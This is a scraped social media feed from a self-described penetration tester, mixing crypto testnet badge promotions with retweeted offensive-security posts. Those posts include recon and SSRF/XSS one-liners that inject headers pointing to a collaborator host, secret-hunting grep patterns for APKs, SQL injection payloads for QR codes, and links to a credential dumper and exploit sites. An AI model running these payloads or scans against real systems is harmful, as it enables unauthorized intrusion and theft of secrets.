hi_im_venkat ꧁IP꧂

im a penetration tester and tool developer

[hi_im_venkat ꧁IP꧂ @venkatbuge]

Trade on @standardweb3 for Odyssey campaign and claim exclusive badge!

https://t.co/mHoCEhYaH7

#standardweb3 #OnchainCLOB #StoryOdyssey

[hi_im_venkat ꧁IP꧂ @venkatbuge]

https://t.co/xq89sfQ43c @Official_1Combo and @StoryProtocol

[1Combo @Official_1Combo]

Great News! 1Combo is LIVE on @StoryProtocol Odyssey Testnet!

Now all users can experience 1Combo on Story Odyssey Testnet, and as a thank you for your enthusiastic participation, you’ll receive a special badge!
1/N

[hi_im_venkat ꧁IP꧂ @venkatbuge]

This is RT https://t.co/r2K0Ty0ecm

[Playartsdotai @playartsdotai]

📢#Storyprotocol #Odyssey  Badge event is now live!
🦋Visit https://t.co/DV2tPVVvVE to embark on your artistic journey.
🖼️Become a Playartist. Enjoy the creative process.
To check out our Medium article.🚀

#PlayArts is a distributed networking #IPFi protocol. It blends AI data and blockchain to offer rewards. As a decentralized AI art hub, we transform art into digital gold.
For more detail #Playartsdotai guide 📷
https://t.co/AmJUw9PU4m

[PunkgaMe @PunkgaMeManga]

Spy IPPY lurking around at AVA Exhibition 2024 👀

[IMPOSSIBLE (prev. Impossible Finance) @impossiblefi]

📣We’re excited to announce the launch of Impossible Finance on @StoryProtocol's Odyssey Testnet!

Through this collaboration, we’re empowering the Impossible & Story communities to dive into the future of programmable IP, making it easier than ever to license, remix, and monetize creative assets.

Join our StakeDrop simulation and win Odyssey Testnet Badge: https://t.co/jdlsN9jmU9

More details:
https://t.co/WNeVdG4Cai

[Guild @guildxyz]

Guild turned 3 today 🎉

join the party and bag our exclusive anniversary NFT as well as a 💎 here: https://t.co/UTqCNrUl7L

it's been 3 epic years with you guys, wagmi 🖤

[hi_im_venkat ꧁IP꧂ @venkatbuge]

Verifying my Twitter account for my #GalxeID gid:cS2Bku8DE9hAP7FoUKqjCj @Galxe

https://t.co/K6jPgClAIP

[WHOAMI @wh0amitz]

SharpADWS is an Active Directory Recon and
Exploit tool for Red Teams via the ADWS protocol, Inspired by @FalconForceTeam

Without the LDAP protocol, it can easily bypass most traffic monitoring for LDAP

#BloodHound #redteam #Pentesting #CyberSecurity

https://t.co/RfhiJvvr1E

[VAIDIK PANDYA @h4x0r_fr34k]

Hunting on IPs : One Liners you can Try - Part 2
(Dont Relyy on them)

1. chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @

2. Shodan and Nuclei
shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/

3. B-SSRF Using Header,Path,Host & check xss via web cache poisoning
cat domains.txt | assetfinder --subs-only| httprobe | while read url; do xss1=$(curl -s -L $url -H 'X-Forwarded-For: xss.yourburpcollabrotort'|grep xss) xss2=$(curl -s -L $url -H 'X-Forwarded-Host: xss.yourburpcollabrotort'|grep xss) xss3=$(curl -s -L $url -H 'Host: xss.yourburpcollabrotort'|grep xss) xss4=$(curl -s -L $url --request-target http://burpcollaborator/ --max-time 2); echo -e "\e[1;32m$url\e[0m""\n""Method[1] X-Forwarded-For: xss+ssrf => $xss1""\n""Method[2] X-Forwarded-Host: xss+ssrf ==> $xss2""\n""Method[3] Host: xss+ssrf ==> $xss3""\n""Method[4] GET http://xss.yourburpcollabrotort HTTP/1.1 ""\n";done\

4. APKtool
apktool d apk;grep -EHim "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder

5. SubDomain TakeOver
subfinder -d {target} >> domains ; assetfinder -subs-only {target} >> domains ; amass enum -norecursive -noalts -d {target} >> domains ; subjack -w domains -t 100 -timeout 30 -ssl -c ~/fingerprints.json -v 3 >> takeover ;

[VAIDIK PANDYA @h4x0r_fr34k]

Hunting on IPs : One Liners you can Try
(Dont Relyy on them)

1. Find Ips
shodan search https://t.co/g0Ua7BVGnY:"https://t.co/lVSTHzIBvw" --fields ip_str | anew ips.txt >> Find Ips

2. Censys Search
censys search "https://t.co/lVSTHzIBvw" --index-type hosts | jq -c '.[] | {ip: .ip}' | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'

3. Naabu PortScan
naabu -l targets.txt -rate 3000 -retries 3 -warm-up-time 0 -rate 150 -c 50 -ports 1-65535 -o out.txt

4. NMAP cidr
cat cidr.txt | xargs -I @ sh -c 'nmap -v -sn @ | egrep -v "host down" | grep "Nmap scan report for" | sed 's/Nmap scan report for //g' | anew nmap-ips.txt'

5. FUZZing a List
cat live.txt | xargs -I@ sh -c 'ffuf -w wordlists.txt -u @/FUZZ -mc 200'

6. Jaeles with list of targets
wget https://t.co/Ajpan6Kjcy -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @

[Md Ismail Šojal 🕷️ @0x0SojalSec]

SQL Injection in QR Code ⚔️⚔️⚔️

qr' OR 1=1 -- -
qr' OR 1=1 -- #
qr' OR '1'='1
qr' OR '1'='1'--

https://t.co/SXTQ8scMq2

Credit by @angryovalegg
#infosec #cybersec #bugbountytips

[Clandestine @akaclandestine]

GitHub - Marshall-Hallenbeck/red_team_attack_lab: Red Team Attack Lab for TTP testing & research #redteam https://t.co/1Pm57yt9lF

[Clandestine @akaclandestine]

#Red_Team_Tactics
Password Spraying against M365 in Red Team Engagements
https://t.co/ery10pHoQe

[Dark Web Informer @DarkWebInformer]

🚨POC RELEASED🚨PoC for SQL Injection leads to RCE in Wordpress released (CVE-2024-27956).

#Clearnet #DarkWebInformer #DarkWeb #Exploit #Cyberattack #Cybercrime #Wordpress #Infosec #CTI #CVE202427956 #Vulnerability

[0xdf @0xdf_]

The Einladen Sherlock from @hackthebox_eu was so much fun to pick apart, and so many useful rabbit holes. HTAs, DLL side-loading, js/bat polyglot, complex CyberChef pipelines, and two embedded YouTube videos. And there are more rabbit holes to explore!

https://t.co/rIrapkZxN5

[Dark Web Informer @DarkWebInformer]

🚨0-Day Today🚨This is 0day[.]today, it allows you to buy and download exploits. A lot are free. It contains over 39k different exploits.

#Clearnet #DarkWebInformer #DarkWeb #Exploit #0day #0dayToday #Cybersecurity #Cyberattack #Cybercrime #Infosec #CTI

[HackGit @hack_git]

AutoAppDomainHijack

Tools to automate finding AppDomain hijacks and generating payloads from shellcode.

https://t.co/WmYwGAmC0g

#cybersecurity #pentesting #redteam

[Binni Shah @binitamshah]

A sophisticated, covert Windows-based credential dumper using C++ and MASM x64 : https://t.co/xrr5hv9eLS

[Nicolas Krassas @Dinosn]

Oracle VirtualBox Elevation of Privilege (Local Privilege Escalation) Vulnerability

https://t.co/KSeRoZ5LdP